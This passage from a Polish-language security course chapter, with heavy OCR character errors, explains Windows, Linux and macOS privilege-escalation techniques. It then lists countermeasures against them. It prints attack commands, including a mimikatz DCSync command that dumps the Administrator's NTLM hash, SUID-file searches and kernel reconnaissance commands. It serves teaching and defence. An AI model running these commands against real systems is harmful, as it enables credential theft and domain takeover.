zaimplementowane w $rodowisku domeny, modyfikujac ustawienia konfiguracyjne domeny. W
Srodowisku Windows domeny kontrolowane przez ustuge AD zarzadzajg komunikacjg miedzy réznymi
zasobami, takimi jak komputery i konta uzytkownikéw w sieci. Zasady domeny obejmujg ustawienia
konfiguracyjne, ktére mozna zaimplementowa¢ miedzy domenami w Srodowisku domeny lasu.
Atakujgcy mogg modyfikowaé ustawienia domeny, zmieniajgc zasady grupy i relacje zaufania miedzy
domenami. Atakujacy wprowadzajg te zmiany w celu wszczepienia fatszywego kontrolera domeny
(DC), dzieki ktéoremu mogg utrzymac przyczétek i eskalowac uprawnienia.

Modyfikacja zasad grupy

Zasady grupy stuzg do zarzadzania zasobami i ich ustawieniami konfiguracyjnymi, takimi jak opcje
zabezpieczen, klucze rejestru i cztonkowie domeny. Wszystkie konta uzytkownikéw majg domysinie
dostep do odczytu do obiektéw zasad grupy, a dostep do zapisu jest przyznawany tylko okreslonym
uzytkownikom lub grupom w domenie.

\<DOMAIN>\SYSVOL\<DOMAIN>\Policies\

Atakujgcy wykorzystujg powyzszg sciezke, aby uzyska¢ dostep do zasad grupy domen i modyfikowac je
w celu wykonywania niezamierzonych dziatan, takich jak tworzenie nowego konta, wytgczanie lub
modyfikowanie narzedzi wewnetrznych, transfer narzedzi wejsciowych, niechciane wykonania ustug
oraz modyfikowanie zasad w celu wyodrebnienia haset w postaci zwyktego tekstu.

<GPO_PATH>\Machine\Preferences\ScheduledTasks\ScheduledTasks.xml

Atakujacy uzywajg powyzszej sciezki do modyfikowania pliku ScheduiedTasks.xml w celu utworzenia
ztosliwego zaplanowanego zadania/zadania przy uzyciu skryptow takich jak New-GPOimmediateTask.

<GPO_PATH>\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf

Atakujgcy wykorzystujg powyzszg $ciezke do modyfikowania okreslonych praw uzytkownika, takich jak
seEnabieDeiegationPrivilege, w celu utworzenia backdoora. Nastepnie osoby atakujgce kontrolujg
konto uzytkownika, aby zmieni¢ ustawienia zasad grupy.

Modyfikacja zaufania domeny

Obiekty zaufania domeny dostarczajg informacji, takich jak poswiadczenia, konta, mechanizmy
uwierzytelniania i autoryzacji uzywane przez domeny.

C:\Windows\system32>nltest /domain_trusts



Atakujacy uzywajg powyzszego narzedzia do zbierania informacji o domenach zaufania i wykorzystujg
zebrane informacje do dodawania zaufania domeny lub modyfikowania ustawien istniejgcych zaufan
domen w celu eskalacji uprawnien za pomocg atakéw Kerberoasting i pass-the-ticket.

Odzyskiwanie skrotéow haset innych kontroleréow domeny za pomoca ataku DCSync

Kontroler domeny (DC) w $rodowisku Windows jest skonfigurowany do bezpiecznego sprawdzania
poprawnosci zadan uzytkownikdéw w domenie. Funkcjg kontrolera domeny jest gromadzenie kont
uzytkownikéw i danych, zapewnianie uwierzytelniania i dotgczanie zasad bezpieczenstwa dla domeny.
Replikacja katalogu w srodowisku IT odgrywa kluczowg role, poniewaz pomaga administratorom
systemu w organizowaniu i obstudze przeptywu danych w wielu DC. Na przyktad, gdy pracownik
organizacji aktualizuje poswiadczenia swojego konta, zaktualizowane poswiadczenia powinny by¢
replikowane we wszystkich kontrolerach domeny, co moze ufatwi¢ uzytkownikom fatwe
uwierzytelnianie. Atak DCSync to technika stosowana przez osoby atakujgce na selektywne kontrolery
domeny. W tym ataku atakujgcy poczatkowo narusza i uzyskuje uprzywilejowany dostep do konta z
prawami replikacji domeny. Nastepnie aktywujg protokoty replikacji, aby utworzy¢ wirtualny kontroler
domeny podobny do oryginalnego AD. Ten dostep umozliwia atakujgcemu wysytanie zgdan do
kontrolera domeny i odbieranie poufnych informacji ofiary, takich jak skréty haset NTLM. Korzystajac
z tych informacji, osoba atakujgca moze przeprowadzi¢ dalsze ataki, takie jak ataki ze ztotym biletem,
manipulacje kontami i ataki zwigzane z zyciem z ziemi (LOTL), a takze osadzi¢ oprogramowanie
ransomware na zaatakowanych serwerach.

Etapy ataku DCSync

Atak DCSync jest przeprowadzany w nastepujgcych osmiu etapach, ktdre rozpoczynajg sie od nizszych
uprawnien i przechodzg do wyzszych uprawnien.

Etap 1: Przeprowadza rekonesans zewnetrzny

Etap 2: naraza docelowg maszyne

Etap 3: Przeprowadza rekonesans wewnetrzny

Etap 4: Eskaluje uprawnienia lokalne

Etap 5: naraza poswiadczenia, wysytajgc polecenia do kontrolera domeny
Etap 6: przeprowadza rekonesans na poziomie administratora

Etap 7: Wykonuje ztosliwe zdalne wykonanie kodu

Etap 8: uzyskuje poswiadczenia administratora domeny

Prawa dostepu wymagane do przeprowadzenia ataku DCSync

Poczatkowo, gdy osoby atakujgce uzyskujg uprzywilejowany dostep do konta za pomocg innych
srodkow ataku, majg ograniczone prawa dostepu do zasobow domeny. Te prawa dostepu s3
niewystarczajgce, aby osoby atakujgce mogty przeprowadzi¢ atak DCSync. W zwigzku z tym potrzebuja
wiecej czasu, aby uzyska¢ dodatkowe uprawnienia do przeprowadzenia ataku DCSyn. Po uzyskaniu
dodatkowych uprawnien lub wyzszych uprawnien osoby atakujagce mogg wykonac nastepujace
czynnosci:

¢ Replikowanie zmian w katalogach

¢ Replikowanie zmian w katalogu Wszystkie



e Replikacja zmian katalogéw w filtrowanym zbiorze
Jak atakujacy narazaja kontroler domeny (DC)
¢ Osoba atakujgca poczatkowo identyfikuje kontroler domeny do skompromitowania i zgda replikaciji.

e Osoba atakujgca albo wdraza narzedzia, takie jak mimikatz, w celu replikacji kontrolera domeny i
zada wielu kontroleréw domeny w celu replikacji informacji, albo wysyta polecenie GetNCChanges jako
zadanie replikacji informacji na kontrolerze domeny.

e Teraz kontroler domeny akceptuje zgdanie, potwierdza zgdanie replikacji i przekazuje atakujagcemu
skroty haset.

Narzedzia do przeprowadzania ataku DCSync
Mimikatz

Mimikatz to narzedzie wiersza polecenia, ktére umozliwia atakujgcym uzyskanie poswiadczen z
lokalizacji pamieci rejestru. Atakujacy wykorzystuja mimikatz do przeprowadzania atakdw DCSync.
Mimikatz zawiera polecenie DCSync, ktdre wykorzystuje protokdt Microsoft Directory Replication
Service Remote Protocol (MS-DRSR) do replikacji zachowania legalnego kontrolera domeny. Atakujgcy
wykonuja nastepujgce polecenie, aby pobrac skréty hasta NTLM konta administratora:

mimikatz "lsadump::dcsync /domain:(domain name)/user:Administrator"
Inne techniki eskalacji uprawnien
Dostep do manipulacji tokenem

W systemach operacyjnych Windows tokeny dostepu stuzg do okreslania kontekstu zabezpieczen
procesu lub watku. Te tokeny obejmujg profil dostepu (tozsamosc¢ i uprawnienia) uzytkownika
powigzanego z procesem. Po uwierzytelnieniu uzytkownika system generuje token dostepu. Kazdy
proces wykonywany przez uzytkownika korzysta z tego tokena dostepu. System weryfikuje ten token
dostepu, gdy proces uzyskuje dostep do zabezpieczonego obiektu. Kazdy uzytkownik systemu
Windows moze zmodyfikowa¢ te tokeny dostepu, tak aby proces wygladat, jakby nalezat do innego
uzytkownika niz ten, ktéry go uruchomit. Nastepnie proces uzyskuje kontekst zabezpieczen nowego
tokenu. Na przyktad administratorzy systemu Windows muszg logowa¢ sie jako zwykli uzytkownicy i
uruchamia¢ swoje narzedzia z uprawnieniami administratora, uzywajac polecenia ,runas” do
manipulowania tokenami. Atakujgcy moga to wykorzystac, aby uzyskaé dostep do tokendw innych
uzytkownikéw lub wygenerowac sfatszowane tokeny, aby zwiekszy¢ uprawnienia i wykona¢ ztosliwe
dziatania, unikajgc wykrycia.

Fatszowanie nadrzednego PID

Atakujgcy prébuja oming¢ wewnetrzny proces lub ustuge, ktéra sledzi $rodki bezpieczenstwa i
zwiekszy¢ uprawnienia, fatszujac identyfikator procesu nadrzednego (PPID) ostatnio dodanego
procesu. Te nowe procesy pochodzg bezposrednio od swojego rodzica, jesli nie sg doktadnie okreslone.
Jawng specyfikacje mozna sporzadzi¢, podajgc identyfikator PPID dla nowego procesu za
posrednictwem interfejsu API CreateProcess. Zwykle ten proces wywotania interfejsu APl sktada sie z
okreslonych argumentéw w celu okreslenia konkretnego identyfikatora PPID, ktory ma zostac uzyty.
Odpowiedni identyfikator PPID mozna ustawi¢ dla procesu, ktéry pochodzi z systemu za
posrednictwem proceséw systemowych, takich jak svchost.exe lub zgoda.exe przy uzyciu funkcji
Kontrola konta uzytkownika systemu Windows (UAC). Atakujgcy naduzywajg tych metod, aby oming¢



mechanizmy bezpieczenstwa, ktére ograniczajg odradzanie sie procesdw od rodzica, narzedzia
analizujace relacje rodzic-dziecko i utrzymywaé uporczywosé w celu podniesienia swoich uprawnien.

Podktadanie aplikacji

Systemy operacyjne Windows uzywajg struktury zgodnosci aplikacji systemu Windows zwanej
podktadkami, aby zapewni¢ zgodnos¢ miedzy starszymi i nowszymi wersjami systemu Windows. Na
przyktad podktadka podktadki aplikacji umozliwia programom utworzonym dla systemu Windows XP
zgodnos$¢ z systemem Windows 11. Podktadki zapewniajg bufor miedzy programem a systemem
operacyjnym. Ten bufor jest przywotywany, gdy program jest wykonywany w celu sprawdzenia, czy
program wymaga dostepu do bazy danych shim. Gdy program musi komunikowac sie z systemem
operacyjnym, baza danych shim uzywa przechwytywania APl w celu przekierowania kodu. Wszystkie
podktadki instalowane przez domysiny instalator Windows (sbinst.exe) sg przechowywane w

%WINDIR%\AppPatch\sysmain.sdb
hklm\software\microsoft\windows
nt\currentversion\appcompatflags\installedsdb

Podktadki dziatajg w trybie uzytkownika i nie mogg modyfikowa¢ jadra. Niektére z tych podktadek
moga by¢ uzywane do omijania UAC (RedirectEXE), wstrzykiwania ztosliwych bibliotek DLL (InjectDLL),
przechwytywania pamieci adresy (GetProcAddress) itp. Atakujagcy moze uzy¢ tych podktadek do
wykonania rdéznych dziatan ataki obejmujgce wytgczenie ustugi Windows Defender, eskalacje
uprawnien, instalowanie backdooréw, itp.

Stabos¢ uprawnien systemu plikéw

Wiele proceséw w systemach operacyjnych Windows automatycznie wykonuje pliki binarne w ramach
swojej funkcjonalnosci lub w celu wykonania okre$lonych dziatan. Jesli uprawnienia systemu plikéw
tych plikéw binarnych nie sg ustawione prawidtowo, docelowy plik binarny moze zostac zastgpiony
ztodliwym plikiem, a rzeczywisty proces moze go wykonaé. Jesli proces, ktory wykonuje ten plik
binarny, ma uprawnienia wyzszego poziomu, plik binarny jest réwniez wykonywany z uprawnieniami
wyzszego poziomu, ktdre mogg obejmowaé SYSTEM. Atakujagcy mogg wykorzystac¢ te technike do
zastgpienia oryginalnych plikéw binarnych ztosliwymi plikami binarnymi w celu eskalacji uprawnien.
Atakujgcy wykorzystujg te technike do manipulowania plikami binarnymi ustug systemu Windows i
samorozpakowujgcymi sie instalatorami.

Przechwytywanie Sciezki

Przechwytywanie sSciezki to metoda umieszczania pliku wykonywalnego na okreslonej Sciezce w taki
sposdb, ze aplikacja wykona go w miejsce legalnego celu. Atakujgcy mogg wykorzystac¢ kilka luk lub
btednych konfiguracji, aby przechwyci¢ sciezki, takie jak $ciezki niecytowane (Sciezki ustug i Sciezki
skrotéow), btedna konfiguracja zmiennych srodowiskowych Sciezki i przejecie kolejnosci wyszukiwania.
Przechwycenie Sciezki pomaga atakujgcemu zachowac trwatos¢ w systemie i eskalowaé uprawnienia.

Naduzywanie funkcji utatwien dostepu

Atakujacy tworzg trwatosc i eskalujg uprawnienia, osadzajgc i uruchamiajac ztosliwy kod w funkcjach
utatwien dostepu systemu Windows. Funkcje utatwier dostepu sg aktywowane za pomocg kombinacji
klawiszy jeszcze przed zalogowaniem sie uzytkownika do systemu. Atakujgcy moze manipulowac tymi
funkcjami, aby uzyskaé¢ dostep do backdoora bez logowania sie do systemu. W $Srodowisku Windows
programy te sg przechowywane w lokalizacji C:\windows\System32\ i mozna je uruchomic¢, naciskajgc



okreslone klawisze podczas ponownego uruchamiania systemu. Atakujgcy uzyskujg eskalowane
uprawnienia, zastepujac jedng z funkcji utatwien dostepu plikiem cmd.exe lub zamieniajac pliki binarne
w rejestrze, aby uzyskaé dostep do backdoora po nacisnieciu kombinacji klawiszy na ekranie logowania.
Ta technika umozliwia atakujgcym uzyskanie dostepu na poziomie systemu. Ponizej przedstawiono
inne utatwienia dostepu wykorzystywane przez osoby atakujace:

o Klawiatura ekranowa: C:\Windows\System32\osk.exe

o Lupa: C:\Windows\System32\Magnify.exe

o Narrator: C:\Windows\System32\Narrator.exe

o Przetgcznik wyswietlacza: C:\Windows\System32\DisplaySwitch.exe
o Przetgcznik aplikacji: C:\Windows\System32\AtBroker.exe

o Klucze trwate: C:\Windows\System32\sethc.exe

Wstrzykiwanie historii SID

W systemie Windows identyfikator zabezpieczenn systemu Windows (SID) to unikatowa wartosc¢
przypisana do kazdego konta uzytkownika i grupy, wydana przez kontroler domeny (DC) w momencie
tworzenia. Te konta AD moga przechowywac wiele wartosci SID w atrybucie SID-history, ktory jest
uzywany podczas migracji uzytkownika z jednej domeny do drugiej. Napastnicy naduzywajg tej funkcji,
aby wstrzykng¢ wartos¢ SID konta administratora lub rdwnowaznego konta zawierajgcego wyzsze
uprawnienia do atrybutu SID-history konta uzytkownika, ktérego naruszono. To wstrzykniecie moze
podniesé¢ uprawnienia konta uzytkownika, za pomoca ktérego osoba atakujgca moze uzyska¢ dostep
do ograniczonych zasobdéw lub systemoéw zdalnych. Atakujgcy mogg réwniez uzyskiwaé dostep do
innych zasobow domeny, wykonujac dalsze techniki przenoszenia, takie jak ustugi zdalne, udziaty
administratora SMB/Windows lub zdalne zarzgdzanie systemem Windows.

Przejecie COM

Component Object Model (COM) to modut interfejsu w Srodowiskach Windows, ktéry umozliwia
sktadnikowi oprogramowania interakcje z kodem innego sktadnika oprogramowania bez wiedzy o ich
rzeczywistej implementacji. Atakujgcy wykorzystujg obiekty COM, przechwytujac ich prawidtowe
referencje i dodajgc witasne referencje, aby zainfekowac¢ system docelowy i osiggnac¢ trwatosé. Ten
proces obejmuje modyfikowanie lub zastepowanie odniesiel do obiektéw ztosliwg zawartoscia w
rejestrze systemu Windows. Kiedy uzytkownik uruchamia ten czesto uzywany obiekt, zto$liwy kod jest
automatycznie wykonywany, co pozwala atakujgcym zachowad trwatosé i zwiekszy¢ uprawnienia
nadane obiektowi. Atakujgcy mogg uzywac nastepujacych technik podczas przejmowania portu COM:

o Wykorzystujgc proces tadowania rejestru i tworzgc szkodliwy obiekt uzytkownika w rejestrze
HKEY_cuRRENT_uSER\Software\ciasses\CLSiD\, ktéry jest tadowany przez system przed
zatadowaniem rejestru HKEY LOCAL_MACHINE\SOFTWARE\Classes\CLSID\

o Przez zamiane istniejgcych bibliotek DLL lub nazw plikéw wykonywalnych na ztosliwe tadunki, ktére
zostang wykonane, gdy uruchomione zostang legalne biblioteki DLL lub pliki wykonywalne

o Korzystajac z osieroconych zgdan wysytanych przez komponenty systemu, ktére nie sg jeszcze
zdefiniowane w rejestrze, tworzgc ztosliwe obiekty COM dla tych Zzadan w rejestrze
HKEY_CURRENT_USER i mapujac je na ztosliwe tadunki ukryte w systemie plikéw

Zaplanowane zadania w systemie Windows



Zaplanowane zadania umozliwiajg uzytkownikom automatyczne wykonywanie rutynowych zadan
wybranych dla komputera. Windows zawiera narzedzia takie jak at i schtasks. Uzytkownik z
uprawnieniami administratora moze uzywac tych narzedzi w potgczeniu z Harmonogramem zadan do
planowania programéw lub skryptéw, ktére moga by¢ wykonywane w okreslonym dniu i o okreslonej
godzinie. Jesli uzytkownik zapewni odpowiednie uwierzytelnienie, moze réwniez zaplanowac zadanie
ze zdalnego systemu za pomocg zdalnego wywotywania procedur (RPC). Osoba atakujgca moze
wykorzysta¢ te technike do uruchamiania ztosliwych programéw podczas uruchamiania systemu,
utrzymywania trwatosci, zdalnego wykonywania, zwiekszania uprawnien itp.

Zaplanowane zadania w systemie Linux

Linux wykorzystuje cron lub crond, narzedzie oparte na instrukcjach, do automatyzacji planowania
zadan. Atakujgcy naduzywaja tego narzedzia do wyzwalania ztosliwego tadunku, gdy zaplanowane jest
wykonanie okreslonego zadania. Ten harmonogram pomaga uzytkownikom z uprawnieniami
administratora w konfigurowaniu crona i wykonywaniu monotonnego zadania cron w okreslonym
czasie, cron wykonuje wszystkie polecenia z pliku crontab znajdujacego sie w jego katalogu gtéwnym,
/etc/crontab. Atakujgcy eskalujg uprawnienia systemowe, dokonujgc zmian w skryptach
wykonywanych przez crona znajdujacych sie w /etc/crontab. Modyfikujgc te skrypty, osoby atakujgce
mogg wymusi¢ automatyczne wykonanie ztosliwych skryptéw podczas ponownego uruchamiania
systemu w celu uzyskania uprawnien administratora.

Polecenie: Opis

crontab <nazwa pliku> : Instaluje lub modyfikuje plik crontab

crontab -1 : Wyswietla aktualnie dziatajgce crontaby

crontab -r : Usuwa plik crontab

crontab -r <Nazwa uzytkownika> : Usuwa crontab okreslonego uzytkownika

crontab —e : Planuje aktualizacje oprogramowania/modyfikuje plik crontab biezgcego uzytkownika
crontab —u <Nazwa uzytkownika> -e : Modyfikuje crontab okreslonego uzytkownika

Uruchom demona

Podczas procesu uruchamiania systemu macOS wykonywany jest program launchd w celu zakonczenia
procesu inicjalizacji systemu. Parametry kazdego demona uruchamiania na zgdanie na poziomie
systemu, znajdujgcego sie w katalogach /System/Library/LaunchDaemons i /Library/LaunchDaemons,
sg tadowane przy uzyciu polecenia launchd. Te demony majg pliki listy wtasciwosci (plist), ktére sa
potgczone z plikami wykonywalnymi, ktére sg uruchamiane podczas uruchamiania. Atakujgcy moga
stworzy¢ i zainstalowaé nowego demona uruchamiania, ktdry mozna skonfigurowaé do uruchamiania
w czasie uruchamiania za pomocga launchd lub launchctl w celu zatadowania plist do odpowiednich
katalogéw. Stabe konfiguracje umozliwiajg atakujgcemu zmiane pliku wykonywalnego istniejgcego
demona uruchamiania w celu zachowania trwatosci lub eskalacji uprawnien.

Modyfikacja Plista

W systemie macOS pliki plist (lista wtasciwosci) zawierajg wszystkie informacje niezbedne do
skonfigurowania aplikacji i ustug. Pliki te opisujg, kiedy programy powinny sie uruchamiac, $ciezke pliku
wykonywalnego, parametry programu, podstawowe uprawnienia systemu operacyjnego itp. Pliki plist
sg przechowywane w okreslonych lokalizacjach, takich jak /Library/Preferences (ktore sg uruchamiane
z uprawnieniami wysokiego poziomu) i ~/Library/Preferences (ktére sg wykonywane z uprawnieniami



uzytkownika). Atakujgcy mogg uzyskiwaé¢ dostep do tych plikow plist i modyfikowac je w celu
wykonania ztosliwego kodu w imieniu uprawnionego uzytkownika, a nastepnie wykorzystaé je jako
mechanizm trwatosci i do eskalacji uprawnien.

Setuid i Setgid

W systemach Linux i macOS, jesli aplikacja uzywa setuid lub setgid, aplikacja zostanie uruchomiona z
uprawnieniami odpowiednio uzytkownika lub grupy bedacej wtascicielem. Ogdlnie rzecz biorac,
aplikacje dziatajg z uprawnieniami biezgcego uzytkownika. Istniejg pewne okolicznosci, w ktérych
programy muszg by¢ uruchamiane z podwyzszonymi uprawnieniami, ale uzytkownik uruchamiajacy
program nie potrzebuje podwyzszonych uprawnien. W tym scenariuszu mozna ustawic flagi setuid lub
setgid dla swoich aplikacji. Osoba atakujgca moze wykorzysta¢ aplikacje z flagami setuid lub setgid do
wykonania ztosliwego kodu z podwyzszonymi uprawnieniami.

Powtoka internetowa

Powtoka internetowa to skrypt internetowy, ktéry umozliwia dostep do serwera WWW. Powtoki
internetowe mozna tworzy¢é we wszystkich systemach operacyjnych, takich jak Windows, Linux i
macOS. Atakujgcy tworzg powtoki internetowe w celu wstrzykniecia ztosliwego skryptu na serwer
WWW w celu utrzymania statego dostepu i eskalacji uprawnien. Atakujgcy uzywajg powtoki sieciowej
jako backdoora w celu uzyskania dostepu do zdalnego serwera i kontrolowania go. Zasadniczo powtoka
internetowa dziata z uprawnieniami biezgcego uzytkownika. Korzystajgc z powtoki internetowej, osoba
atakujgca moze zwiekszy¢ uprawnienia, wykorzystujgc luki w zabezpieczeniach systemu lokalnego. Po
eskalacji uprawnien osoba atakujgca moze zainstalowac ztosliwe oprogramowanie, zmienic
uprawnienia uzytkownika, dodawac lub usuwac uzytkownikéw, kras¢ dane uwierzytelniajgce, czytac
wiadomosci e-mail itp.

Naduzywanie praw Sudo

Sudo (uzytkownik zastepczy do) to narzedzie systemowe oparte na systemach UNIX i Linux, ktore
umozliwia uzytkownikom uruchamianie polecen jako superuzytkownik lub root przy uzyciu uprawnien
bezpieczenstwa innego uzytkownika. Plik /etc/sudoers zawiera konfiguracje uprawnien sudo. Ten plik
zawiera szczegotowe informacje dotyczace uprawnien dostepu, w tym polecen, ktére mogg byc
uruchamiane z hastami lub bez na uzytkownika lub grupe. Atakujgcy mogg naduzywaé sudo, aby
eskalowaé swoje uprawnienia do uruchamiania programéw, ktérych zwykli uzytkownicy nie mogg
uruchamiaé. Na przyktad, jesli atakujgcy ma uprawnienia sudo do uruchomienia polecenia cp, moze
nadpisac plik /etc/sudoers lub /etc/shadow swoim wtasnym ztosliwym plikiem. Nadpisujgc zawartosé
pliku sudoers, moze edytowaé¢ uprawnienia do uruchamiania réznych ograniczonych polecen lub
programéw w celu przeprowadzania dalszych atakdw na system.

Naduzywanie uprawnien SUID i SGID

Ustaw identyfikator uzytkownika (SUID) i ustaw identyfikator grupy (SGID) to uprawnienia dostepu
nadawane plikowi programu w systemach UNIX. Uprawnienia te zwykle pozwalajg uzytkownikom w
systemie na uruchamianie programu z tymczasowo podwyzszonymi uprawnieniami lub uprawnieniami
administratora w celu wykonania okreslonego zadania. Pliki z prawami SUID i SGID dziatajg z wyzszymi
uprawnieniami. W Linuksie istniejg pewne polecenia i pliki binarne, ktére atakujagcy mogg wykonag,
aby podnies¢ swoje uprawnienia z uzytkownikdw innych niz root do uzytkownikdéw root, jesli
ustawione sg flagi praw SUID i SGID. Niektdre z polecen wykonywalnych, ktérych atakujgcy mogg uzyc
do stworzenia powtoki i eskalacji uprawnien, to nmap, vim, less, more, bash, cat, cp, echo, find, nano
itp. Atakujacy mogg uzy¢ nastepujacych polecen, aby znalez¢ SUID i pliki SGID w systemie docelowym:



# Find SUID

find / -perm -u=s -type f 2>/dev/null
# Find GUID

find / -perm -g=s -type f 2>/dev/null
Exploity jadra

Eksploity jadra odnoszg sie do programoéw, ktére moga wykorzystywac luki w jadrze do wykonywania
dowolnych polecen lub kodu z wyzszymi uprawnieniami. Dzieki pomyslnemu wykorzystaniu luk w
jagdrze osoby atakujgce mogg uzyskac dostep do systemu docelowego na poziomie superuzytkownika
lub administratora. Aby uruchomié exploit jadra, osoby atakujgce muszg zna¢ szczegdty konfiguracji
systemu docelowego. Atakujgcy uzywajg nastepujgcych polecen, aby uzyskac szczegétowe informacje,
takie jak system operacyjny, wersja jadra i architektura systemu docelowego:

#0S

cat /etc/issue

# Kernel version
uname -a

# Architecture
cat /proc/version

Atakujgcy przeszukujg https://www.exploit-db.com i wykonujg skrypty Pythona, takie jak
linprivchecker.py, aby wykry¢ exploity jadra w celu eskalacji uprawnien.

Narzedzia eskalacji uprawnien

Narzedzia do eskalacji uprawnien, takie jak BeRoot, linpostexp, Windows Exploit Suggester itp.
umozliwiajg atakujgcym przeprowadzenie oceny konfiguracji systemu docelowego w celu znalezienia
informacji o lukach w zabezpieczeniach, ustugach, uprawnieniach do plikow i katalogdéw, wersji jadra,
architekturze itp. informacji, osoby atakujgce moga dalej znalezé¢ sposéb na wykorzystanie i
podniesienie swoich uprawnien w systemie docelowym.

BeRoot

BeRoot to narzedzie poeksploatacyjne do sprawdzania typowych btednych konfiguracji w celu
znalezienia sposobu na eskalacje uprawnien. Jak pokazano na zrzucie ekranu, za pomocy tego
narzedzia osoby atakujgce mogg uzyskac¢ informacje o uprawnieniach ustugi, zapisywalnych katalogach
z ich lokalizacjami, uprawnieniach do kluczy startowych itp.



linpostexp

Narzedzie linpostexp uzyskuje szczegdétowe informacje o jadrze, ktére mozna wykorzystaé do eskalacji
uprawnien w systemie docelowym. Jak pokazano na zrzucie ekranu, za pomocg tego narzedzia osoby
atakujgce mogg uzyskac informacje o jadrze, systemach plikéw, superuzytkowniku, sudoerach, wersji
sudo itp.




Atakujgcy moga wykorzystac te informacje do wykorzystania luk w jagdrze w celu podniesienia swoich
uprawnien. Nastepujgce polecenie stuzy do wyodrebnienia tych informacji o systemie docelowym:

#python linprivchecker.py

Niektére dodatkowe narzedzia do zwiekszania uprawnien sg wymienione w nastepujgcy sposob:
* PowerSploit (https://github.com)

* FullPowers (https://github.com)

* PEASS-ng (https://github.com)

* Sugestia wykorzystania luk w zabezpieczeniach systemu Windows (https://github.com)

Jak broni¢ sie przed eskalacjg uprawnien

Najlepszym S$rodkiem zaradczym przeciwko eskalacji uprawnien jest zapewnienie uzytkownikom
najnizszych mozliwych uprawnien, ktére sg odpowiednie do efektywnego korzystania z ich systemu.
Dlatego nawet jesli atakujgcemu uda sie uzyskac dostep do konta o niskich uprawnieniach, nie bedzie
mogt uzyskaé¢ dostepu na poziomie administracyjnym. Czesto btedy w kodzie programistycznym
pozwalajg na taka eskalacje uprawnien w systemie docelowym. Jak wspomniano wczesniej, osoba
atakujgca moze uzyskaé dostep do sieci za pomocg konta nieadministracyjnego, a nastepnie uzyskaé
wyzsze uprawnienia administratora. Oto najlepsze srodki zaradcze w celu obrony przed eskalacjg
uprawnien:

* Ogranicz uprawnienia do interaktywnego logowania.

* Uruchamiaj uzytkownikow i aplikacje z najnizszymi uprawnieniami.
* Zaimplementuj uwierzytelnianie i autoryzacje wielosktadnikowa.

* Uruchom ustugi jako konta nieuprzywilejowane.

* Zaimplementuj metodologie separacji uprawnien, aby ograniczy¢ zakres btedéw programistycznych
i btedow.

* Uzyj techniki szyfrowania, aby chroni¢ poufne dane.

* Zmniejsz ilos¢ kodu uruchamianego z okreslonymi uprawnieniami.

* Wykonaj debugowanie za pomocg sprawdzania granic i testow warunkdéw skrajnych.
* Doktadnie przetestuj system pod katem bteddéw i btedéw w kodowaniu aplikacji.

* Regularnie tataj i aktualizuj jadro.

* Zmien ustawienia UAC na ,Zawsze powiadamiaj”, aby zwiekszy¢é widocznos$¢ uzytkownika, gdy
wymagane jest podniesienie uprawniert UAC.

* Ogranicz uzytkownikom mozliwos¢ zapisywania plikdw w $ciezkach wyszukiwania aplikacji.
* Stale monitoruj uprawnienia systemu plikdw za pomocg narzedzi kontrolnych.

* Zmniejsz uprawnienia kont uzytkownikéw i grup, aby tylko uprawnieni administratorzy mogli
wprowadzadé zmiany w ustugach.



* Uzywaj narzedzi do biatej listy, aby identyfikowac¢ i blokowac¢ ztosliwe oprogramowanie, ktore
zmienia uprawnienia do plikéw, katalogéw lub ustug.

* Uzywaj w petni kwalifikowanych sciezek we wszystkich aplikacjach Windows.

* Upewnij sie, ze wszystkie pliki wykonywalne sg umieszczone w katalogach chronionych przed
zapisem.

* W systemie macOS zapobiegaj zmianom plikdw plist przez uzytkownikdéw, ustawiajac je jako tylko do
odczytu.

* Blokuj niechciane narzedzia systemowe lub oprogramowanie, ktére moze by¢ uzywane do
planowania zadan.

* Regularnie tataj i aktualizuj serwery WWW.
* Wytgcz domysine konto administratora lokalnego.
* Wykrywaj, naprawiaj i naprawiaj wszelkie wady lub btedy dziatajgce w ustugach systemowych.

* Zachowaj pliki tylko do odczytu i zapewnij dostep do zapisu tylko tym uzytkownikom i grupom, ktére
tego wymagaja.

* Wtacz obstuge administracyjng i anulowanie obstugi administracyjnej kont, aby zapobiec przejeciu
osieroconych kont.

* Wiacz zapobieganie wykonywaniu danych (DEP) w systemach Windows, aby zablokowaé wszelkie
zadania kodu wykonywalnego.

Bron sie przed naduzywaniem praw sudo
* Wdrozenie silnej polityki haset dla uzytkownikéw sudo.

* Wytagcz buforowanie hasef, ustawiajgc timestamp_timeout na 0, aby uzytkownicy musieli
wprowadzaé swoje hasto za kazdym razem, gdy wykonywane jest sudo.

* Oddziel konta administracyjne na poziomie sudo od zwyktych kont administratora, aby zapobiec
kradziezy poufnych haset.

* Aktualizuj uprawnienia uzytkownikow i konta w regularnych odstepach czasu.

* Testuj uzytkownikéow Sudo z dostepem do programow zawierajgcych parametry lub wykonanie
dowolnego kodu.

Bron sie przed atakami DCSync
Oto najlepsze srodki zaradcze do obrony przed atakami DCSync:

* Sprawdz uprawnienia przypisane uzytkownikom i administratorom. Sledz konta, ktére prosza o
prawa do replikacji domeny.

* Przeprowadzanie szkolen w zakresie Swiadomosci bezpieczenstwa w zakresie konfiguracji systemu,
zarzadzania poprawkami systemowymi, wykrywania zagrozen i systemdéw reagowania.

* Wdréz narzedzia nadzoru sieci, takie jak Sean Metcalf i StealthDEFEND, aby gromadzi¢ adresy IP DC
i decydowaé, ktore adresy IP nalezy uwzglednié na liscie replikacji.

Bron sie przed fatszowaniem PPID



* Zweryfikuj pola PPID, w ktérych przechowywane sg informacje, aby wykry¢ nieprawidtowosci.
* Zidentyfikuj legalny proces nadrzedny za pomocg PID nagtéwka zdarzenia okreslonego przez ETW.

* Okresowo analizuj wywotania interfejsu API systemu Windows, takie jak CreateProcess, pod katem
ztosliwych identyfikatoréw PID.

* Monitoruj systemowe wywotania API, przypisujgc wytgcznie identyfikatory PPID do nowych
procesow.

Narzedzia do obrony przed przejeciem bibliotek DLL i Dylib

Specjalisci ds. cyberbezpieczeristwa mogg korzysta¢ z narzedzi, takich jak Dependency Walker, DLL
Hijack Audit Kit i DLLSpy, aby wykrywac i zapobiegac eskalacji uprawnien za pomoca przejmowania
bibliotek DLL. Ponadto narzedzia, takie jak Dylib Hijack Scanner, pomagajg specjalistom ds. Narzedzia
te pomagajg specjalistom ds. bezpieczenstwa monitorowaé pliki systemowe pod katem
modyfikowania, przenoszenia, zmiany nazwy lub zastepowania bibliotek DLL lub dylib w systemach.

Walker zaleznosci

Dependency Walker jest przydatny do rozwigzywania probleméw z btedami systemowymi zwigzanymi
